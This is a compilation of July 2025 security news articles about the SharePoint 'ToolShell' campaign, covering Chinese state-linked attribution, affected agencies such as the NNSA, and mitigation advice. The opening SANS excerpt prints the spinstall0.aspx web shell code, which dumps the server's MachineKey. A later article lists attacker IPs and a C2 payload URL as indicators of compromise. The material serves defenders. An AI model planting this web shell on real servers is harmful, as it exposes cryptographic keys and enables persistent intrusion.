"C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx" $decodedBytes = [System.Convert]::FromBase64String($base64String) $decodedContent = [System.Text.Encoding]::UTF8.GetString($decodedBytes) $decodedContent | Set-Content -Path $destinationFile -ErrorAction Stop This little PowerShell script is creating the infamous spinstall0.aspx file. Its content can be found in the base64 string, which decodes to: public void Page_load() { var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"); var mkt = sy.GetType("System.Web.Configuration.MachineKeySection"); var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]); Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode); } The .NET code that reveals the MachineKey! Anyone retrieving spinstall0.aspx will be greeted by the system's MachineKey, enabling them to sign VIEWSTATES at will. This is also the big lesson: An attacker may have obtained the MachineKey, giving them access to your system via spoofed Viewstate's. Rotating MachineKeys is CRITICAL! --- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter|
isc.sans.eduJul 23, 2025extracted
US nuclear weapons agency hacked in Microsoft SharePoint attacks
Unknown threat actors have breached the National Nuclear Security Administration's network in attacks exploiting a recently patched Microsoft SharePoint zero-day vulnerability chain. NNSA is a semi-autonomous U.S. government agency part of the Department of Energy that maintains the country's nuclear weapons stockpile and is also tasked with responding to nuclear and radiological emergencies within the United States and abroad. A Department of Energy spokesperson confirmed in a statement that hackers gained access to NNSA networks last week. "On Friday, July 18th, the exploitation of a Microsoft SharePoint zero-day vulnerability began affecting the Department of Energy, including the NNSA," Department of Energy Press Secretary Ben Dietderich told BleepingComputer. "The Department was minimally impacted due to its widespread use of the Microsoft M365 cloud and very capable cybersecurity systems." Dietderich added that only "a very small number of systems were impacted" and that "all impacted systems are being restored." As first reported by Bloomberg, sources within the agency also noted that there's no evidence of sensitive or classified information compromised in the breach. Additionally, the attackers have breached systems at the US Department of Education, Florida’s Department of Revenue, and the Rhode Island General Assembly, as well as networks of national governments in Europe and the Middle East, Bloomberg reported previously. The APT29 Russian state-sponsored threat group, the hacking division of the Russian Foreign Intelligence Service (SVR), also breached the U.S. nuclear weapons agency in 2019 using a trojanized SolarWinds Orion update. Attacks linked to Chinese state hackers, over 400 servers breached On Tuesday, Microsoft and Google linked the widespread attacks targeting a Microsoft SharePoint zero-day vulnerability chain (known as ToolShell) to Chinese state-sponsored hacking groups. "Microsoft has observed two named Chinese nation-state actors, Linen Typhoon and Violet Typhoon exploiting these vulnerabilities targeting internet-facing SharePoint servers," Microsoft said. "In addition, we have observed another China-based threat actor, tracked as Storm-2603, exploiting these vulnerabilities. Investigations into other actors also using these exploits are still ongoing." Dutch cybersecurity firm Eye Security first detected the zero-day attacks on Friday, stating that at least 54 organizations had already been compromised, including national government entities and multinational companies. Cybersecurity firm Check Point later revealed that it had spotted signs of exploitation going back to July 7th targeting dozens of government, telecommunications, and technology organizations in North America and Western Europe. Since then, Eye Security CTO Piet Kerkhofs told BleepingComputer that the number of compromised entities, "most of them already compromised for some time already," is much larger. According to the cybersecurity company's statistics, the threat actors behind these attacks have already infected at least 400 servers with malware and breached 148 organizations worldwide. CISA also added the CVE-2025-53770 remote code execution flaw, part of the ToolShell exploit chain, to its catalog of exploited vulnerabilities, ordering U.S. federal agencies to secure their systems within a day. Update July 23, 12:18 EDT: Added Energy Department statement. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJul 23, 2025extracted
Zero Day su SharePoint, Microsoft accusa i gruppi cinesi PecLinen Typhoon e Violet Typhoon
In un comunicato ufficiale, Microsoft ha definito la propria accusa, contro due gruppi cyber criminali cinesi, PecLinen Typhoon e Violet Typhoon. Questi sarebbero responsabili dell’attacco hacker contro SharePoint. Microsoft accusa Microsoft ha definito un’accusa contro la Cina, indirettamente responsabile dell’attacco cyber contro SharePoint. Si tratta della piattaforma software di Content Management System (sviluppata proprio da Microsoft) che serve per la condivisione e la gestione dei documenti. Dietro l’attacco ‘zero-day‘, la compagnia statunitense avrebbe osservato due attori statali cinesi, Linen Typhoon e Violet Typhoon. Entrambi, avrebbero sfrutatto due vulnerabilità precise. CVE-2025-49706, una vulnerabilità di spoofing e CVE-2025-49704, una vulnerabilità di esecuzione di codice remoto. Sono due vettori sfruttati per prendere di mira i server SharePoint connessi a Internet. Inoltre, ha aggiunto Microsoft, “abbiamo osservato un altro attore di minaccia con sede in Cina, tracciato come Storm-2603, che sfrutta queste vulnerabilità“. Sono ancora in corso indagini su altri attori che utilizzano questi exploit. Mentre proseguono gli approfondimenti, eventuali aggiornamenti saranno oggetto di precise comunicazione. L’importanza della catena del valore Il problema è che con l’accesso a questi server – che spesso si connettono alla posta elettronica di Outlook, a Teams e ad altri servizi principali – una violazione può portare al furto di dati sensibili. Le stesse password possono essere a loro volta oggetto di raccolta. Nel frattempo, l’azienda con sede principale a Redmond, ha individuato il punto che i cyber criminali hanno attaccato. In questi termini è riuscita a completare una correzione della stessa vulnerabilità che i tre gruppi hacker criminali avrebbero sfruttato. La portata dell’operazione è stata tale che le conseguenze, come ha riportato il Washington Post, hanno avuto un effetto globale. Consigli di aggiornamenti Nel suo comunicato, Microsoft ha consigliato ai clienti di utilizzare versioni supportate dei server SharePoint on-premise con gli ultimi aggiornamenti di sicurezza. Per impedire che attacchi non autenticati sfruttino questa vulnerabilità, i clienti dovrebbero compiere alcune precise operazioni. Tra queste: integrare e abilitare Antimalware Scan Interface (AMSI) e Microsoft Defender Antivirus (o soluzioni equivalenti) per tutte le distribuzioni SharePoint on-premise. configurare AMSI per abilitare la modalità completa, come descritto in dettaglio nella sezione Mitigazioni di seguito. Inoltre, “i clienti dovrebbero ruotare le chiavi macchina ASP.NET del server SharePoint, riavviare Internet Information Services (IIS) e distribuire Microsoft Defender per Endpoint o soluzioni equivalenti“.
cybersecitalia.itJul 23, 2025extracted
CISA Orders Urgent Patching After Chinese Hackers Exploit SharePoint Flaws in Live Attacks
The U.S. Cybersecurity and Infrastructure Security Agency (CISA), on July 22, 2025, added two Microsoft SharePoint flaws, CVE-2025-49704 and CVE-2025-49706, to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. To that end, Federal Civilian Executive Branch (FCEB) agencies are required to remediate identified vulnerabilities by July 23, 2025. "CISA is aware of active exploitation of a spoofing and RCE vulnerability chain involving CVE-2025-49706 and CVE-2025-49704, enabling unauthorized access to on-premise SharePoint servers," the agency said in an updated advisory. The inclusion of the two shortcomings, a spoofing vulnerability and a remote code execution vulnerability collectively tracked as ToolShell, to the KEV catalog comes after Microsoft revealed that Chinese hacking groups like Linen Typhoon and Violet Typhoon leveraged these flaws to breach on-premises SharePoint servers since July 7, 2025. As of writing, the tech giant's own advisories only list CVE-2025-53770 as being exploited in the wild. What's more, it describes the four flaws as below - CVE-2025-49704 – SharePoint Remote Code Execution CVE-2025-49706 – SharePoint Post-auth Remote Code Execution CVE-2025-53770 – SharePoint ToolShell Authentication Bypass and Remote Code Execution CVE-2025-53771 – SharePoint ToolShell Path Traversal The fact that CVE-2025-53770 is both an authentication bypass and a remote code execution bug indicates that CVE-2025-53771 is not necessary to build the exploit chain. CVE-2025-53770 and CVE-2025-53771 are assessed to be patch bypasses for CVE-2025-49704 and CVE-2025-49706, respectively. "The root cause [of CVE-2025-53770] is a combination of two bugs: An authentication bypass (CVE-2025-49706) and an insecure deserialization vulnerability (CVE-2025-49704)," the Akamai Security Intelligence Group said. The attack chains observed so far entail the exploitation of SharePoint flaws to deploy a web shell that allows the threat actors to retrieve and steal MachineKey data. Symantec said it also identified post-exploitation activity in which adversaries ran an encoded PowerShell command to download a file named "client.exe" from an external server and save it locally as "debug.js." "The executable was likely renamed as debug.js in order to make it look benign and avoid raising suspicions," the Broadcom-owned company said, adding the binary is then used to run a Windows batch script that captures system information and cryptographic secrets. When reached for comment regarding the exploitation status of CVE-2025-53771 and other flaws, a Microsoft spokesperson told The Hacker News that the information published in its advisories is correct "at the time of original publication" and that it does not typically update post-release. "Microsoft also assists CISA with the Known Exploited Vulnerabilities Catalog which provides regularly updated information on exploited vulnerabilities," the spokesperson added. The development comes as watchTowr Labs told the publication that it has internally devised a method exploiting CVE-2025-53770 such that it bypasses Antimalware Scan Interface (AMSI), a mitigation step outlined by Microsoft to prevent unauthenticated attacks. "This has allowed us to continue identifying vulnerable systems even after mitigations like AMSI have been applied," watchTowr CEO Benjamin Harris said. "AMSI was never a silver bullet, and this outcome was inevitable. But we're concerned to hear that some organizations are choosing to 'enable AMSI' instead of patching. This is a very bad idea." "Now that exploitation has been linked to nation-state actors, it would be naive to think they could leverage a SharePoint zero-day but somehow not bypass AMSI. Organizations must patch. Should go without saying – all the public PoCs will trigger AMSI, and mislead organizations into believing the mitigations are comprehensive/the host is no longer vulnerable. This would be incorrect." Update When contacted for comment, CISA said it's still early in the incident response, adding it's continually assessing the scope and impact associated with the SharePoint Server flaws. "CISA continues to work in lockstep with Microsoft, as well as federal and other partners, to address and mitigate the active exploitation of multiple vulnerabilities impacting Microsoft on-site SharePoint servers," said Acting Executive Assistant Director for Cybersecurity, Chris Butera, in a statement shared with The Hacker News. The agency also said it's aware of federal agencies and State, Local, Tribal, and Territorial (SLTT) partners affected by the activity, and that it's working with them to assess the scope and mitigate the risk as appropriate. According to latest estimates, about 400 government agencies, corporations, and other entities have been compromised. (The story was updated after publication to include a response from CISA.)
thehackernews.comJul 23, 2025extracted
Chinese nation-state groups exploiting SharePoint vulnerability, Microsoft confirms
Chinese nation-state groups exploiting SharePoint vulnerability, Microsoft confirms At least two Chinese nation-state threat groups are targeting internet-facing SharePoint servers via several recently disclosed vulnerabilities, Microsoft warned customers on Tuesday. In addition to the two confirmed nation-state groups — identified as Linen Typhoon and Violet Typhoon — Microsoft said it found another China-based group attacking SharePoint servers. The attribution follows an urgent alert about threat actors exploiting vulnerabilities in on-premises instances of Microsoft SharePoint, which thousands of organizations globally use to manage content, collaborate and share documents. The campaign of attacks set off alarms among defenders because of its use among governments, large corporations, universities and other sensitive entities. The bugs being used in the campaign against exposed SharePoint servers include CVE-2025-49706 and CVE-2025-49704. Microsoft also warned of two other vulnerabilities — CVE-2025-53770 and CVE-2025-53771 — that are of potential risk because they are bypasses for previous patches of CVE-2025-49706 and CVE-2025-49704. On Monday, Charles Carmakal, CTO of Google-owned cybersecurity firm Mandiant, said that a “China-nexus threat actor” is one of several attackers targeting the vulnerabilities. “It's critical to understand that multiple actors are now actively exploiting this vulnerability,” Carmakal said. “We fully anticipate that this trend will continue, as various other threat actors, driven by diverse motivations, will leverage this exploit as well." Reuters reported on Tuesday that more than 100 organizations were affected by attacks through the vulnerabilities, which Microsoft was allegedly informed of in May. The bugs were discovered at a competition in Berlin by a cybersecurity official at Vietnamese military-owned telecom Viettel, and the researcher received a $100,000 bounty for finding them. Microsoft released a patch earlier this month but hackers quickly found a way around the fixes, according to Reuters. The Typhoons Microsoft said the threat actors Linen Typhoon and Violet Typhoon, as well as a third Chinese group, have been exploiting CVE-2025-49706 and CVE-2025-49704 since July 7, using the bugs to gain access to organizations. Linen Typhoon, also tracked as APT27, UNC215 and Red Phoenix, has been active since 2012, the company said, and has focused primarily on stealing intellectual property by attacking government organizations as well as defense companies and human rights groups. The group typically “has relied on existing exploits to compromise organizations,” Microsoft said. The other confirmed threat actor, Violet Typhoon, is specifically dedicated to espionage and has previously targeted government officials, military personnel, think tanks, educational organizations, media companies and the health sector in the U.S., Europe and East Asia. Violet Typhoon, also tracked as APT31, has made a point of scanning the internet for vulnerabilities in the exposed web infrastructure of target organizations, exploiting whatever they discover to install tools that allow them to gain further access. Researchers are unsure of the motives of the third group, which has in the past used the Warlock and Lockbit ransomware strains. Microsoft added that other groups and countries may use the bugs to target unpatched on-premises SharePoint systems and urged customers to install security updates released this week. The tech giant released security updates for all supported on-premises SharePoint Server versions and said cloud-hosted versions are not affected. ‘Just beginning’ The situation began Saturday when Microsoft’s Security Response Center said it saw active attacks against on-premises SharePoint servers using multiple vulnerabilities. CISA added CVE-2025-53770 to its Known Exploited Vulnerabilities catalog on Sunday and ordered all federal civilian agencies to patch it by Monday. The agency added CVE-2025-49706 and CVE-2025-49704 on Tuesday and ordered agencies to patch them by Wednesday. Multiple incident responders told Recorded Future News that exploitation is widespread and includes governments around the world. Hackers are using their access to exfiltrate data and gain a long-term foothold in victim organizations, they said. The problem cannot be solved by simply patching the vulnerabilities, watchTowr CEO Benjamin Harris said, noting that attackers are stealing cryptographic keys that will allow for further access if they are not changed. Harris urged everyone to actually patch the bugs instead of only applying mitigations like an Antimalware Scan Interface (AMSI). “Now that exploitation has been linked to nation-state actors, it would be naive to think they could leverage a SharePoint zero-day but somehow not bypass AMSI,” Harris said. The Washington Post reported that federal and state agencies have been affected by the campaign but the FBI and CISA did not respond to requests for confirmation. Several cybersecurity experts compared the SharePoint campaign to a similar one in 2021 affecting Microsoft Exchange servers that led to the compromise of U.S. government systems by Chinese actors. Cynthia Kaiser, former deputy director of the FBI’s Cyber Unit, warned that the SharePoint attacks will be an issue for months even if organizations have implemented patches because hackers “already in their systems may lie dormant for extended periods before operationalizing.” “The real threat may be just beginning. Ransomware groups are known to rapidly operationalize disclosed vulnerabilities,” said Kaiser, who is now a senior official at cybersecurity firm Halcyon. “In this case, the theft of authentication keys means attackers could potentially retain access even after patches are applied. This is a serious risk.” Jonathan Greig is a Breaking News Reporter at Recorded Future News. Jonathan has worked across the globe as a journalist since 2014. Before moving back to New York City, he worked for news outlets in South Africa, Jordan and Cambodia. He previously covered cybersecurity at ZDNet and TechRepublic.
therecord.mediaJul 22, 2025extracted
SharePoint 'ToolShell' Vulnerabilities Exploited by Chinese Nation-State Hackers
Microsoft has confirmed three Chinese-based threat groups have been actively exploiting CVE-2025-53770 and CVE-2025-53771, two critical and high-severity vulnerabilities in internet-facing SharePoint servers. The chained exploitation of these two bugs has been dubbed ‘ToolShell’ by the cybersecurity community. In a new blog posted on July 22, Microsoft Threat Intelligence confirmed that these groups include Linen Typhoon and Violet Typhoon, two China-based advanced persistent threat (APT) groups and Storm-2603, another China-based threat actor whose motivations and identity are unclear at this time. Who is Behind Linen Typhoon, Violet Typhoon and Storm-2603 Linen Typhoon (APT27) is a Chinese state-backed actor that has been active since at least 2010. It typically targets foreign embassies to collect data on government, defense, technology and human rights organizations, using techniques such as drive-by compromises and existing exploits to compromise organizations. The group is also known by many other names, including Bronze Union, Circle Typhoon, Budworm, Emissary Panda, Earth Smilodon, GreedyTaotie, Iron Taurus, Iron Tiger, Lucky Mouse and Red Phoenix. In March 2025, the US indicted and charged two Chinese nationals believed to be operating within the APT27 group. The two individuals were accused of hacking several US companies, institutions and municipalities for profit, causing millions of dollars’ worth of damages. Violet Typhoon (APT31) is a Chinese state-backed actor that has been active since at least 2012. Also known as Bronze Vinewood, Judgment Panda, Red keres and Zirconium, Violet Typhoon has minimal overlaps with another group with unclear attribution, tracked as Storm-0558. Violet Typhoon typically specializes in intellectual property theft, focusing on data and projects that make a particular organization competitive in its field. The group primarily targets former government and military personnel, non-governmental organizations (NGOs), think tanks, higher education institutions, digital and print media, as well as financial and health-related sectors in the US, Europe and East Asia. Violet Typhoon persistently scans for vulnerabilities in the exposed web infrastructure of target organizations, exploiting discovered weaknesses to install web shells. Finally, while Microsoft assessed “with medium confidence” that Storm-2603 is a China-based threat actor, the tech giant’s threat intelligence team has not yet identified any links between the group and other known Chinese threat actors. “Microsoft tracks this threat actor in association with attempts to steal MachineKeys via the on-premises SharePoint vulnerabilities,” said the Microsoft Threat Intelligence team. Additionally, while the company has observed this threat actor deploying Warlock and Lockbit ransomware in the past, it is currently unable to confidently assess the threat actor’s objectives. Aligned with Previous Attribution This new Microsoft assessment aligns with a previous estimate from Google Cloud-owned Mandiant. Earlier on July 22, Charles Carmakal, CTO of Mandiant Consulting at Google Cloud, commented: “We assess that at least one of the actors responsible for this early exploitation is a China-nexus threat actor.” Speaking to Infosecurity, Lorri Janssen-Anessi, director of external cyber assessments at BlueVoyant, highlighted that this attribution to Chinese nation-state hacking groups reinforces that the 'ToolShell' exploitation campaign is "more than opportunistic exploitation." "It is more likely potentially part of a broader strategic campaign aimed at gaining initial access, establishing persistence, and attempting to exfiltrate sensitive intelligence data from high-value targets across government, defence, academia and NGOs. This is yet another reminder that if you are running unpatched, internet-facing systems – especially legacy collaboration platforms – you are not just a potential target, you are likely already in the crosshairs," she added. Mandiant's Carmakal also emphasized the importance for cybersecurity professionals and potential victims to recognize that multiple actors are likely actively exploiting these vulnerabilities. “We fully anticipate that this trend will continue, as various other threat actors, driven by diverse motivations, will leverage this exploit as well,” he said. This statement aligns with Microsoft’s assessment: “Investigations into other actors also using these exploits are still ongoing. With the rapid adoption of these exploits, Microsoft assesses with high confidence that threat actors will continue to integrate them into their attacks against unpatched on-premises SharePoint systems.”
infosecurity-magazine.comJul 22, 2025extracted
Attacchi a SharePoint: hacker collegati alla Cina sfruttano la falla ToolShell
I server Microsoft SharePoint on-premises sono sotto attacco a causa della vulnerabilità critica ToolShell (CVE-2025-53770 e CVE-2025-53771), sfruttata attivamente da hacker, inclusi gruppi legati alla Cina. Ecco le implicazioni geopolitiche e il moltiplicarsi degli attori malintenzionati. Indice degli argomenti SharePoint: gruppi legati alla Cina che sfruttano la falla ToolShell Microsoft ha rilasciato le patch di emergenza e raccomanda di applicarle immediatamente, di ruotare le chiavi ASP.NET e di rafforzare le difese con soluzioni antimalware. La situazione è grave, con molteplici enti già compromessi, rendendo urgente l’intervento per prevenire ulteriori violazioni. L’allarme è rosso per le organizzazioni di tutto il mondo. I server Microsoft SharePoint on-premises sono al centro di un’ondata di sofisticati attacchi informatici, scatenati dallo sfruttamento attivo di una vulnerabilità critica soprannominata ToolShell. Questa minaccia, sempre più pressante, ha spinto le principali autorità di cyber sicurezza, tra cui Microsoft e la CISA, a lanciare avvertimenti urgenti e a fornire indicazioni cruciali per la mitigazione. La situazione è grave, con numerosi sistemi già compromessi, rendendo la protezione delle infrastrutture SharePoint interne una priorità assoluta. ToolShell: falla critica sotto sfruttamento massiccio Al centro di questa ondata di attacchi si trova la vulnerabilità CVE-2025-53770, un grave difetto di deserializzazione di dati non affidabili. In termini più semplici, ciò significa che il software SharePoint non gestisce correttamente i dati che riceve da fonti esterne, consentendo a un aggressore di inserire codice dannoso che il server interpreta ed esegue. Questa falla non è una novità assoluta, ma una pericolosa variante della precedente CVE-2025-49706. Ciò che rende questi attacchi particolarmente efficaci è la loro combinazione con la CVE-2025-53771, una vulnerabilità di spoofing. Con la spoofing, l’aggressore può mascherare la propria identità, ingannando il sistema affinché accetti i dati dannosi. La combinazione di queste due vulnerabilità permette agli hacker di ottenere l’esecuzione di codice remoto (RCE) sui server vulnerabili, garantendo loro il pieno controllo sui contenuti di SharePoint, inclusi i file system e le configurazioni interne. Domenica Microsoft ha rilasciato aggiornamenti di sicurezza per CVE-2025-53770 e la falla correlata, CVE-2025-53771, invitando i clienti ad applicare immediatamente le patch. La Cybersecurity and Infrastructure Security Agency (CISA) è stata apidamente allertata di questo sfruttamento da un partner di fiducia e ha immediatamente collaborato con Microsoft per affrontare la minaccia. Chris Butera, direttore esecutivo assistente ad interim per la cyber security della CISA, ha sottolineato l’importanza di questa cooperazione, evidenziando la velocità della risposta e l’impegno a notificare le entità potenzialmente interessate. L’impatto degli attacchi: il panorama globale I ricercatori di Eye Security, tra i primi a divulgare la scoperta di questa vulnerabilità, stimano che decine di sistemi vulnerabili siano già stati compromessi in almeno due ondate di attacchi. Le analisi di WatchTowr suggeriscono che lo sfruttamento potrebbe essere iniziato addirittura a metà luglio. La portata degli attacchi è allarmante e trasversale a diversi settori critici: almeno due agenzie federali statunitensi sono state colpite; diverse agenzie governative europee hanno subito violazioni; un’importante compagnia energetica statunitense è stata compromessa; il Multi-State Information Sharing and Analysis Center ha notificato oltre 150 agenzie governative statali e locali attivamente mirate, inclusi distretti scolastici K-12 e università, con oltre 1.100 server vulnerabili identificati. Il Threat Intelligence Group di Google ha confermato di aver osservato hacker che installano web shell e rubano segreti crittografici dai server delle vittime, un segnale inequivocabile della gravità delle violazioni e del potenziale per accessi futuri e duraturi. mplicazioni geopolitiche, si moltiplicano gli attori malevoli Le indagini sulle intrusioni più recenti hanno evidenziato che dietro almeno alcuni degli attacchi iniziali si celano hacker legati al governo cinese. Charles Carmakal, CTO di Mandiant Consulting (una divisione di Google Cloud), ha dichiarato inequivocabilmente: “Riteniamo che almeno uno degli attori responsabili di questo sfruttamento precoce sia un attore di minacce connesso alla Cina“. Questa valutazione è supportata da ulteriori prove, con investigatori federali che hanno riscontrato connessioni da server SharePoint compromessi negli Usa verso indirizzi IP in Cina già venerdì e sabato scorsi. L’interesse di attori statali, in particolare quelli legati al governo cinese, spesso riguarda lo spionaggio industriale, il furto di proprietà intellettuale e la raccolta di informazioni governative sensibili. Nonostante l’attenzione iniziale sui gruppi legati a stati-nazione, è cruciale comprendere che molteplici attori stanno ora attivamente sfruttando questa vulnerabilità. Carmakal ha avvertito che questa tendenza è destinata a continuare, con vari altri attori di minacce, mossi da diverse motivazioni, che cercheranno di sfruttare l’exploit. Tra questi, si ipotizza la presenza di attori a scopo di lucro, interessati a rubare segreti aziendali o a distribuire ransomware. La strategia di attacco di ToolShell mostra somiglianze con precedenti compromissioni attribuite ad hacker cinesi. Piet Kerkhofs, CTO e co-fondatore di Eye Security, ha notato caratteristiche comuni con vulnerabilità sfruttate in passato, come quella di NetScaler di Citrix, dove la trasformazione di una nuova vulnerabilità in un “exploit” avveniva con una rapidità estrema, “da ore a giorni”. Un altro esempio significativo è la massiva compromissione dei server Microsoft Exchange nel 2021, attribuita a un gruppo sponsorizzato dal governo cinese che Microsoft identifica come Silk Typhoon, noto per la sua avanzata capacità tecnica e per aver colpito obiettivi sensibili in occidente a un ritmo crescente nell’ultimo anno. Questi attacchi hanno permesso agli hacker di estrarre chiavi crittografiche dai server dei clienti Microsoft, consentendo loro di installare backdoor persistenti per futuri accessi non autorizzati. A inizio luglio, a Milano è stato arrestato Xu Zewei, 33enne cinese, da molti anni ricercato dal governo statunitense per cyber spionaggio su vasta scala, sia su vaccini che sui dati sensibili pro Pechino. Risposta urgente: patch, rotazione delle chiavi e strategie di difesa Di fronte alla minaccia incombente, Microsoft ha rilasciato aggiornamenti di sicurezza di emergenza per CVE-2025-53770 e CVE-2025-53771, sollecitando i clienti ad applicarli immediatamente. Queste patch sono disponibili per SharePoint Server Subscription Edition e SharePoint Server 2019. È fondamentale notare che le patch per Microsoft SharePoint Server 2016 sono ancora in fase di sviluppo, lasciando temporaneamente questa versione più esposta. Analogo avvertimento è stato rilasciato da Charles Carmakal. Un aspetto cruciale evidenziato da Microsoft, e ribadito dagli esperti di sicurezza, è la necessità di ruotare le chiavi macchina ASP.NET, oltre ad applicare le patch. Come ha avvertito Nick Hyatt, analista senior di threat intelligence presso GuidePoint Security, “se non si ruotano quelle chiavi, anche dopo aver patchato il server, l’attaccante mantiene comunque l’accesso”. Questo passaggio aggiuntivo è vitale per chiudere completamente la porta ai malintenzionati che potrebbero aver già rubato queste chiavi. È importante sottolineare che SharePoint Online in Microsoft 365 non è interessato da queste vulnerabilità che, secondo Microsoft, colpiscono esclusivamente le implementazioni di SharePoint on-premises. Consigli per risposta agli incidenti e resilienza cibernetica Oltre all’applicazione immediata delle patch e alla rotazione delle chiavi, le organizzazioni dovrebbero adottare misure proattive e reattive per rafforzare la propria difesa: implementare Microsoft Defender for Endpoint (o soluzioni equivalenti). Il deployment di Defender for Endpoint è caldamente consigliato per rilevare e bloccare le attività post-exploit; assicurare la corretta configurazione di AMSI. Verificare che l’Antimalware Scan Interface (AMSI) sia attiva e configurata correttamente. L’integrazione di AMSI in SharePoint, abilitata di default negli aggiornamenti di sicurezza di settembre 2023 per SharePoint Server 2016/2019 e nell’aggiornamento delle funzionalità della versione 23H2 per SharePoint Server Subscription Edition, è cruciale. Se è disponibile, abilitare la modalità completa per la scansione del corpo della richiesta HTTP, che offre la protezione più completa. L’uso di un antivirus appropriato, come Defender Antivirus su tutti i server SharePoint, può bloccare gli aggressori non autenticati che tentano di sfruttare questa vulnerabilità. Se AMSI non può essere abilitato, è consigliabile disconnettere il server da Internet finché non si applica l’aggiornamento di sicurezza. Se la disconnessione non è possibile, considerare l’uso di una VPN o un proxy che richieda autenticazione; rilevamento e protezione con Microsoft Defender: Microsoft Defender Antivirus e Microsoft Defender for Endpoint forniscono rilevamenti specifici per questa minaccia. È inoltre possibile sfruttare Microsoft Defender Vulnerability Management (MDVM) e l’Advanced Hunting nel Microsoft 365 Defender per identificare i dispositivi esposti e cercare attività di sfruttamento; segmentazione della rete e principio del minimo privilegio. Implementare una robusta segmentazione della rete può limitare la diffusione di un attacco anche se un server viene compromesso. Assegnare agli utenti e ai sistemi solo i permessi minimi necessari per svolgere le loro funzioni (principio del minimo privilegio) riduce ulteriormente la superficie di attacco; piani di risposta agli incidenti. Le organizzazioni dovrebbero avere un piano di risposta agli incidenti ben definito. In caso di sospetta compromissione, questo dovrebbe includere l’isolamento immediato dei sistemi colpiti, l’esecuzione di analisi forensi per determinare l’estensione del danno e la notifica alle autorità competenti. scenario”: agire è imperativo Ryan Dewhurst, responsabile della proactive threat intelligence presso WatchTowr, ha descritto la situazione come un “impatto diffuso su centinaia di organizzazioni, incluse quelle che molti considererebbero ‘incredibilmente sensibili'”. Le sue parole sono forti: “È quasi certamente accettabile definire questo uno scenario vicino al peggiore“. Le ragioni sono chiare: gli hacker possono estrarre chiavi crittografiche, il che a sua volta consente loro di installare backdoor persistenti per accessi futuri. Gli attacchi sono stati maggiormente concentrati negli Usa, in Germania, Francia e Australia, indicando una diffusione geografica significativa. La rapidità con cui le entità di cyber sicurezza sono intervenute e la chiarezza delle indicazioni di mitigazione sottolineano l’urgenza per tutte le organizzazioni che utilizzano server SharePoint on-premises di agire senza indugio. La collaborazione tra giganti tecnologici come Microsoft, agenzie governative come la CISA, e ricercatori di sicurezza privati (come Eye Security, WatchTowr e Mandiant) è fondamentale per affrontare minacce complesse come ToolShell. In un panorama di minacce in continua evoluzione, dove le vulnerabilità “zero-day” sono una costante, un approccio proattivo e una resilienza cibernetica continua sono l’unica difesa efficace. La domanda chiave che ogni organizzazione dovrebbe porsi ora è: avete già preso provvedimenti per valutare il vostro ambiente SharePoint on-premises per questa minaccia e avete applicato le patch e le rotazioni delle chiavi necessarie? Non c’è tempo da perdere.
cybersecurity360.itJul 22, 2025extracted
Microsoft links Sharepoint attacks to Chinese hacking groups
Several hacking groups with ties to the Chinese government have been linked to a recent wave of widespread attacks targeting a Microsoft SharePoint zero-day vulnerability chain. They used this exploit chain (dubbed "ToolShell") to breach dozens of organizations worldwide after hacking into their on-premise SharePoint servers. "Microsoft has observed two named Chinese nation-state actors, Linen Typhoon and Violet Typhoon exploiting these vulnerabilities targeting internet-facing SharePoint servers," Microsoft said in a Tuesday report. "In addition, we have observed another China-based threat actor, tracked as Storm-2603, exploiting these vulnerabilities. Investigations into other actors also using these exploits are still ongoing." "We assess that at least one of the actors responsible for this early exploitation is a China-nexus threat actor. It's critical to understand that multiple actors are now actively exploiting this vulnerability," Charles Carmakal, CTO of Google Cloud's Mandiant Consulting, told BleepingComputer yesterday. On Friday, Dutch cybersecurity firm Eye Security first spotted zero-day attacks exploiting the CVE-2025-49706 and CVE-2025-49704 vulnerabilities (first demoed during the Berlin Pwn2Own hacking contest by Viettel Cyber Security researchers). The company told BleepingComputer that at least 54 organizations had already been compromised, including several multinational companies and national government entities. Cybersecurity firm Check Point also revealed on Monday that it discovered the first signs of exploitation on July 7th, adding that the attackers targeted dozens of entities across the government, telecommunications, and software sectors in North America and Western Europe. Microsoft patched the two flaws as part of the July Patch Tuesday updates and assigned two new CVE IDs (CVE-2025-53770 and CVE-2025-53771) over the weekend for zero-days used by threat actors to compromise fully patched SharePoint servers. Since then, it released emergency patches for SharePoint Subscription Edition, SharePoint 2019, and SharePoint 2016 to address both RCE flaws. PoC exploit now available This week, after Microsoft released security patches for all impacted SharePoint versions, a CVE-2025-53770 proof-of-concept exploit was also released on GitHub, making it easier for more threat actors and hacking groups to join ongoing attacks. CISA has also added the CVE-2025-53770 remote code execution vulnerability to its Known Exploited Vulnerability catalog, ordering federal agencies to apply patches one day after they were released. "This exploitation activity, publicly reported as 'ToolShell,' provides unauthenticated access to systems and enables malicious actors to fully access SharePoint content, including file systems and internal configurations, and execute code over the network," the cybersecurity agency said. "Microsoft is responding quickly, and we are working with the company to help notify potentially impacted entities about recommended mitigations. CISA encourages all organizations with on-premise Microsoft SharePoint servers to take immediate recommended action." Today, Microsoft also shared the following indicators of compromise (IOCs) to help defenders identify compromised SharePoint servers on their network: 134.199.202[.]205 : IP address exploiting SharePoint vulnerabilities 104.238.159[.]149 : IP address exploiting SharePoint vulnerabilities 188.130.206[.]168 : IP address exploiting SharePoint vulnerabilities 131.226.2[.]6 : Post-exploitation C2 Spinstall0.aspx : Web shell used by threat actors (also named spinstall.aspx, spinstall1.aspx, and spinstall2.aspx) c34718cbb4c6.ngrok-free[.]app/file.ps1 : Ngrok tunnel delivering PowerShell to C2 Update July 22, 09:11 EDT: Added Microsoft attribution. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJul 22, 2025extracted
